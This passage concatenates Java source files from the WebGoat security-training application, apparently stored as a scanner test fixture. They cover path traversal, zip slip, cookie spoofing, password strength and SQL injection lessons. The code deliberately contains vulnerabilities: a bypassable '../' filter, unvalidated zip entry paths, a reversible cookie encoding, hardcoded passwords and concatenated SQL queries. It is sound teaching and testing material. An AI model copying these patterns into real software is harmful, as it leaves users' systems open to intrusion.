org.springframework.web.multipart.MultipartFile; @AllArgsConstructor @Getter public class ProfileUploadBase extends AssignmentEndpoint { private String webGoatHomeDirectory; private WebSession webSession; protected AttackResult execute(MultipartFile file, String fullName) { if (file.isEmpty()) { return failed(this).feedback("path-traversal-profile-empty-file").build(); } if (StringUtils.isEmpty(fullName)) { return failed(this).feedback("path-traversal-profile-empty-name").build(); } File uploadDirectory = cleanupAndCreateDirectoryForUser(); try { var uploadedFile = new File(uploadDirectory, fullName); uploadedFile.createNewFile(); FileCopyUtils.copy(file.getBytes(), uploadedFile); if (attemptWasMade(uploadDirectory, uploadedFile)) { return solvedIt(uploadedFile); } return informationMessage(this) .feedback("path-traversal-profile-updated") .feedbackArgs(uploadedFile.getAbsoluteFile()) .build(); } catch (IOException e) { return failed(this).output(e.getMessage()).build(); } } @SneakyThrows protected File cleanupAndCreateDirectoryForUser() { var uploadDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); if (uploadDirectory.exists()) { FileSystemUtils.deleteRecursively(uploadDirectory); } Files.createDirectories(uploadDirectory.toPath()); return uploadDirectory; } private boolean attemptWasMade(File expectedUploadDirectory, File uploadedFile) throws IOException { return !expectedUploadDirectory .getCanonicalPath() .equals(uploadedFile.getParentFile().getCanonicalPath()); } private AttackResult solvedIt(File uploadedFile) throws IOException { if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal")) { return success(this).build(); } return failed(this) .attemptWasMade() .feedback("path-traversal-profile-attempt") .feedbackArgs(uploadedFile.getCanonicalPath()) .build(); } public ResponseEntity getProfilePicture() { return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .body(getProfilePictureAsBase64()); } protected byte[] getProfilePictureAsBase64() { var profilePictureDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); var profileDirectoryFiles = profilePictureDirectory.listFiles(); if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) { return Arrays.stream(profileDirectoryFiles) .filter(file -> FilenameUtils.isExtension(file.getName(), List.of("jpg", "png"))) .findFirst() .map( file -> { try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) { return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); } catch (IOException e) { return defaultImage(); } }) .orElse(defaultImage()); } else { return defaultImage(); } } @SneakyThrows protected byte[] defaultImage() { var inputStream = getClass().getResourceAsStream("/images/account.png"); return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; @RestController @AssignmentHints({ "path-traversal-profile-fix.hint1", "path-traversal-profile-fix.hint2", "path-traversal-profile-fix.hint3" }) public class ProfileUploadFix extends ProfileUploadBase { public ProfileUploadFix( @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super(webGoatHomeDirectory, webSession); } @PostMapping( value = "/PathTraversal/profile-upload-fix", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler( @RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix", required = false) String fullName) { return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); } @GetMapping("/PathTraversal/profile-picture-fix") @ResponseBody public ResponseEntity getProfilePicture() { return super.getProfilePicture(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; @RestController @AssignmentHints({ "path-traversal-profile-remove-user-input.hint1", "path-traversal-profile-remove-user-input.hint2", "path-traversal-profile-remove-user-input.hint3" }) public class ProfileUploadRemoveUserInput extends ProfileUploadBase { public ProfileUploadRemoveUserInput( @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super(webGoatHomeDirectory, webSession); } @PostMapping( value = "/PathTraversal/profile-upload-remove-user-input", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler( @RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { return super.execute(file, file.getOriginalFilename()); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.URI; import java.net.URISyntaxException; import java.nio.file.Files; import java.util.Base64; import javax.annotation.PostConstruct; import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.RandomUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ClassPathResource; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.security.core.token.Sha512DigestUtils; import org.springframework.util.FileCopyUtils; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "path-traversal-profile-retrieve.hint1", "path-traversal-profile-retrieve.hint2", "path-traversal-profile-retrieve.hint3", "path-traversal-profile-retrieve.hint4", "path-traversal-profile-retrieve.hint5", "path-traversal-profile-retrieve.hint6" }) @Slf4j public class ProfileUploadRetrieval extends AssignmentEndpoint { private final File catPicturesDirectory; public ProfileUploadRetrieval(@Value("${webgoat.server.directory}") String webGoatHomeDirectory) { this.catPicturesDirectory = new File(webGoatHomeDirectory, "/PathTraversal/" + "/cats"); this.catPicturesDirectory.mkdirs(); } @PostConstruct public void initAssignment() { for (int i = 1; i <= 10; i++) { try (InputStream is = new ClassPathResource("lessons/pathtraversal/images/cats/" + i + ".jpg") .getInputStream()) { FileCopyUtils.copy(is, new FileOutputStream(new File(catPicturesDirectory, i + ".jpg"))); } catch (Exception e) { log.error("Unable to copy pictures" + e.getMessage()); } } var secretDirectory = this.catPicturesDirectory.getParentFile().getParentFile(); try { Files.writeString( secretDirectory.toPath().resolve("path-traversal-secret.jpg"), "You found it submit the SHA-512 hash of your username as answer"); } catch (IOException e) { log.error("Unable to write secret in: {}", secretDirectory, e); } } @PostMapping("/PathTraversal/random") @ResponseBody public AttackResult execute(@RequestParam(value = "secret", required = false) String secret) { if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equalsIgnoreCase(secret)) { return success(this).build(); } return failed(this).build(); } @GetMapping("/PathTraversal/random-picture") @ResponseBody public ResponseEntity getProfilePicture(HttpServletRequest request) { var queryParams = request.getQueryString(); if (queryParams != null && (queryParams.contains("..") || queryParams.contains("/"))) { return ResponseEntity.badRequest() .body("Illegal characters are not allowed in the query params"); } try { var id = request.getParameter("id"); var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + ".jpg"); if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg")) { return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .body(FileCopyUtils.copyToByteArray(catPicture)); } if (catPicture.exists()) { return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture))); } return ResponseEntity.status(HttpStatus.NOT_FOUND) .location(new URI("/PathTraversal/random-picture?id=" + catPicture.getName())) .body( StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()) .getBytes()); } catch (IOException | URISyntaxException e) { log.error("Image not found", e); } return ResponseEntity.badRequest().build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileZipSlip.java ================================================ package org.owasp.webgoat.lessons.pathtraversal; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Arrays; import java.util.Enumeration; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.ResponseEntity; import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; @RestController @AssignmentHints({ "path-traversal-zip-slip.hint1", "path-traversal-zip-slip.hint2", "path-traversal-zip-slip.hint3", "path-traversal-zip-slip.hint4" }) @Slf4j public class ProfileZipSlip extends ProfileUploadBase { public ProfileZipSlip( @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super(webGoatHomeDirectory, webSession); } @PostMapping( value = "/PathTraversal/zip-slip", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFileZipSlip") MultipartFile file) { if (!file.getOriginalFilename().toLowerCase().endsWith(".zip")) { return failed(this).feedback("path-traversal-zip-slip.no-zip").build(); } else { return processZipUpload(file); } } @SneakyThrows private AttackResult processZipUpload(MultipartFile file) { var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); cleanupAndCreateDirectoryForUser(); var currentImage = getProfilePictureAsBase64(); try { var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); ZipFile zip = new ZipFile(uploadedZipFile.toFile()); Enumeration entries = zip.entries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File(tmpZipDirectory.toFile(), e.getName()); InputStream is = zip.getInputStream(e); Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); } return isSolved(currentImage, getProfilePictureAsBase64()); } catch (IOException e) { return failed(this).output(e.getMessage()).build(); } } private AttackResult isSolved(byte[] currentImage, byte[] newImage) { if (Arrays.equals(currentImage, newImage)) { return failed(this).output("path-traversal-zip-slip.extracted").build(); } return success(this).output("path-traversal-zip-slip.extracted").build(); } @GetMapping("/PathTraversal/zip-slip/") @ResponseBody public ResponseEntity getProfilePicture() { return super.getProfilePicture(); } @GetMapping("/PathTraversal/zip-slip/profile-image/{username}") @ResponseBody public ResponseEntity getProfilePicture(@PathVariable("username") String username) { return ResponseEntity.notFound().build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.securepasswords; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author BenediktStuhrmann * @since 12/2/18. */ @Component public class SecurePasswords extends Lesson { @Override public Category getDefaultCategory() { return Category.A7; } @Override public String getTitle() { return "secure-passwords.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.securepasswords; import com.nulabinc.zxcvbn.Strength; import com.nulabinc.zxcvbn.Zxcvbn; import java.text.DecimalFormat; import java.text.DecimalFormatSymbols; import java.util.Locale; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class SecurePasswordsAssignment extends AssignmentEndpoint { @PostMapping("SecurePasswords/assignment") @ResponseBody public AttackResult completed(@RequestParam String password) { Zxcvbn zxcvbn = new Zxcvbn(); StringBuilder output = new StringBuilder(); DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH)); df.setMaximumFractionDigits(340); Strength strength = zxcvbn.measure(password); output.append("Your Password: *******
"); output.append("Length: " + password.length() + "
"); output.append( "Estimated guesses needed to crack your password: " + df.format(strength.getGuesses()) + "
"); output.append( "

Score: " + strength.getScore() + "/4
"); if (strength.getScore() <= 1) { output.append( "
 

"); } else if (strength.getScore() <= 3) { output.append( "
 

"); } else { output.append( "
 

"); } output.append( "Estimated cracking time: " + calculateTime( (long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()) + "
"); if (strength.getFeedback().getWarning().length() != 0) output.append("Warning: " + strength.getFeedback().getWarning() + "
"); // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee // maybe ask user to try also weak passwords to see and understand feedback? if (strength.getFeedback().getSuggestions().size() != 0) { output.append("Suggestions:
    "); for (String sug : strength.getFeedback().getSuggestions()) output.append("
  • " + sug + "
  • "); output.append("

"); } output.append("Score: " + strength.getScore() + "/4
"); if (strength.getScore() >= 4) return success(this).feedback("securepassword-success").output(output.toString()).build(); else return failed(this).feedback("securepassword-failed").output(output.toString()).build(); } public static String calculateTime(long seconds) { int s = 1; int min = (60 * s); int hr = (60 * min); int d = (24 * hr); int yr = (365 * d); long years = seconds / (d) / 365; long days = (seconds % yr) / (d); long hours = (seconds % d) / (hr); long minutes = (seconds % hr) / (min); long sec = (seconds % min * s); return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.spoofcookie; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /*** * * @author Angel Olle Blazquez * */ @Component public class SpoofCookie extends Lesson { @Override public Category getDefaultCategory() { return Category.A1; } @Override public String getTitle() { return "spoofcookie.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.spoofcookie; import java.util.Map; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec; import org.springframework.web.bind.UnsatisfiedServletRequestParameterException; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /*** * * @author Angel Olle Blazquez * */ @RestController public class SpoofCookieAssignment extends AssignmentEndpoint { private static final String COOKIE_NAME = "spoof_auth"; private static final String COOKIE_INFO = "Cookie details for user %s:
" + COOKIE_NAME + "=%s"; private static final String ATTACK_USERNAME = "tom"; private static final Map users = Map.of("webgoat", "webgoat", "admin", "admin", ATTACK_USERNAME, "apasswordfortom"); @PostMapping(path = "/SpoofCookie/login") @ResponseBody @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) public AttackResult login( @RequestParam String username, @RequestParam String password, @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, HttpServletResponse response) { if (StringUtils.isEmpty(cookieValue)) { return credentialsLoginFlow(username, password, response); } else { return cookieLoginFlow(cookieValue); } } @GetMapping(path = "/SpoofCookie/cleanup") public void cleanup(HttpServletResponse response) { Cookie cookie = new Cookie(COOKIE_NAME, ""); cookie.setMaxAge(0); response.addCookie(cookie); } private AttackResult credentialsLoginFlow( String username, String password, HttpServletResponse response) { String lowerCasedUsername = username.toLowerCase(); if (ATTACK_USERNAME.equals(lowerCasedUsername) && users.get(lowerCasedUsername).equals(password)) { return informationMessage(this).feedback("spoofcookie.cheating").build(); } String authPassword = users.getOrDefault(lowerCasedUsername, ""); if (!authPassword.isBlank() && authPassword.equals(password)) { String newCookieValue = EncDec.encode(lowerCasedUsername); Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); newCookie.setPath("/WebGoat"); newCookie.setSecure(true); response.addCookie(newCookie); return informationMessage(this) .feedback("spoofcookie.login") .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())) .build(); } return informationMessage(this).feedback("spoofcookie.wrong-login").build(); } private AttackResult cookieLoginFlow(String cookieValue) { String cookieUsername; try { cookieUsername = EncDec.decode(cookieValue).toLowerCase(); } catch (Exception e) { // for providing some instructive guidance, we won't return 4xx error here return failed(this).output(e.getMessage()).build(); } if (users.containsKey(cookieUsername)) { if (cookieUsername.equals(ATTACK_USERNAME)) { return success(this).build(); } return failed(this) .feedback("spoofcookie.cookie-login") .output(String.format(COOKIE_INFO, cookieUsername, cookieValue)) .build(); } return failed(this).feedback("spoofcookie.wrong-cookie").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.spoofcookie.encoders; import java.nio.charset.StandardCharsets; import java.util.Base64; import org.apache.commons.lang3.RandomStringUtils; import org.springframework.security.crypto.codec.Hex; /*** * * @author Angel Olle Blazquez * */ public class EncDec { // PoC: weak encoding method private static final String SALT = RandomStringUtils.randomAlphabetic(10); private EncDec() {} public static String encode(final String value) { if (value == null) { return null; } String encoded = value.toLowerCase() + SALT; encoded = revert(encoded); encoded = hexEncode(encoded); return base64Encode(encoded); } public static String decode(final String encodedValue) throws IllegalArgumentException { if (encodedValue == null) { return null; } String decoded = base64Decode(encodedValue); decoded = hexDecode(decoded); decoded = revert(decoded); return decoded.substring(0, decoded.length() - SALT.length()); } private static String revert(final String value) { return new StringBuilder(value).reverse().toString(); } private static String hexEncode(final String value) { char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); return new String(encoded); } private static String hexDecode(final String value) { byte[] decoded = Hex.decode(value); return new String(decoded); } private static String base64Encode(final String value) { return Base64.getEncoder().encodeToString(value.getBytes()); } private static String base64Decode(final String value) { byte[] decoded = Base64.getDecoder().decode(value.getBytes()); return new String(decoded); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjectionAdvanced extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "2.sql.advanced.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import java.sql.*; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/8/17. */ @RestController @AssignmentHints( value = {"SqlInjectionChallenge1", "SqlInjectionChallenge2", "SqlInjectionChallenge3"}) @Slf4j public class SqlInjectionChallenge extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionChallenge(LessonDataSource dataSource) { this.dataSource = dataSource; } @PutMapping("/SqlInjectionAdvanced/challenge") // assignment path is bounded to class so we use different http method :-) @ResponseBody public AttackResult registerNewUser( @RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception { AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg); if (attackResult == null) { try (Connection connection = dataSource.getConnection()) { String checkUserQuery = "select userid from sql_challenge_users where userid = '" + username_reg + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(checkUserQuery); if (resultSet.next()) { if (username_reg.contains("tom'")) { attackResult = success(this).feedback("user.exists").build(); } else { attackResult = failed(this).feedback("user.exists").feedbackArgs(username_reg).build(); } } else { PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)"); preparedStatement.setString(1, username_reg); preparedStatement.setString(2, email_reg); preparedStatement.setString(3, password_reg); preparedStatement.execute(); attackResult = success(this).feedback("user.created").feedbackArgs(username_reg).build(); } } catch (SQLException e) { attackResult = failed(this).output("Something went wrong").build(); } } return attackResult; } private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) { if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) { return failed(this).feedback("input.invalid").build(); } if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) { return failed(this).feedback("input.invalid").build(); } return null; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.advanced; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4" }) public class SqlInjectionChallengeLogin extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionChallengeLogin(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjectionAdvanced/challenge_Login") @ResponseBody public AttackResult login( @RequestParam String username_login, @RequestParam String password_login) throws Exception { try (var connection = dataSource.getConnection()) { var statement = connection.prepareStatement( "select password from sql_challenge_users where 